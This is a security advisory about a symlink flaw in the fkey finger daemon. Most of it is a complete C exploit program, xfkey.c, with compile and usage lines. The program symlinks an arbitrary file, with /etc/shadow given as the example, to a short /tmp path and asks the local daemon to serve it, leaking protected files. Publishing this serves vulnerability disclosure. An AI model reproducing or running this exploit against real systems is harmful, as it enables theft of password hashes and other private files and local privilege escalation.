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fkey Symblink Vulnerability
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SUMMARY
<http://freshmeat.net/projects/fkey> fkey is "a scalable finger daemon
type server for public display of user-specified files, e.g. PGP keys,
contact information, etc. Users edit their data file (supplied as an ASCII
text file), and the finger daemon displays it on public request. It may be
used as a banner server".
Due to improper usage of local files by fkey, its possible for a local
attacker to use the program to gain elevated privileges.
DETAILS
Exploit:
/*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* xfkey homepage/URL: *
* http://www.freshmeat.net/projects/fkey *
* *
* compile: *
* gcc xfkey.c -o xfkey *
* *
* syntax: *
* # ./xfkey /etc/shadow 2>~/save_filename *
* *
* bug: *
* fkey is a finger-like daemon for accessing remote files *
* in a specified directory. there is no limitations *
* placed on the file acessing other than it must be a *
* filename/path equal to 10 or less bytes. this limits *
* the remote possibilities somewhat, but symlinking to a *
* short path(ie. /tmp/file) locally can access anything. *
* (this exploits locally) *
* - SECU *
* note: *
* this is pretty low-risk due to the fact that the *
* program isn't very common, just browsing freshmeat.net *
* and killing some time. *
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */
void fkey_connect(unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
unsigned short port=79;
if(argc<2){
printf("[!] syntax: %s <file> [port]\n",argv[0]);
exit(1);
}
if(argc>2)port=atoi(argv[2]);
unlink(TMPFILE);
if(symlink(argv[1],TMPFILE))
printe("symlink() failed.",1);
fkey_connect(port);
unlink(TMPFILE);
exit(0);
}
void fkey_connect(unsigned short port){
int sock=0,l=0,m=0;
char buf[1024+1];
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: localhost:%u.\n",port);
if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
if(!(t=gethostbyname("localhost")))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(3);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("connection failed.",1);
alarm(0);
printf("[*] successfully connected: localhost:%u.\n",port);
write(sock,TMPFILE,strlen(TMPFILE));
alarm(5);
for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
fputs(buf,stderr);
m+=l;
}
alarm(0);
if(m<=0)
printe("exploit failed, file doesn't exist or zero-length file.",0);
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:v9@fakehalo.deadpig.org>
Vade 79.
The original article can be found at: <http://fakehalo.us/xfkey.c>
http://fakehalo.us/xfkey.c
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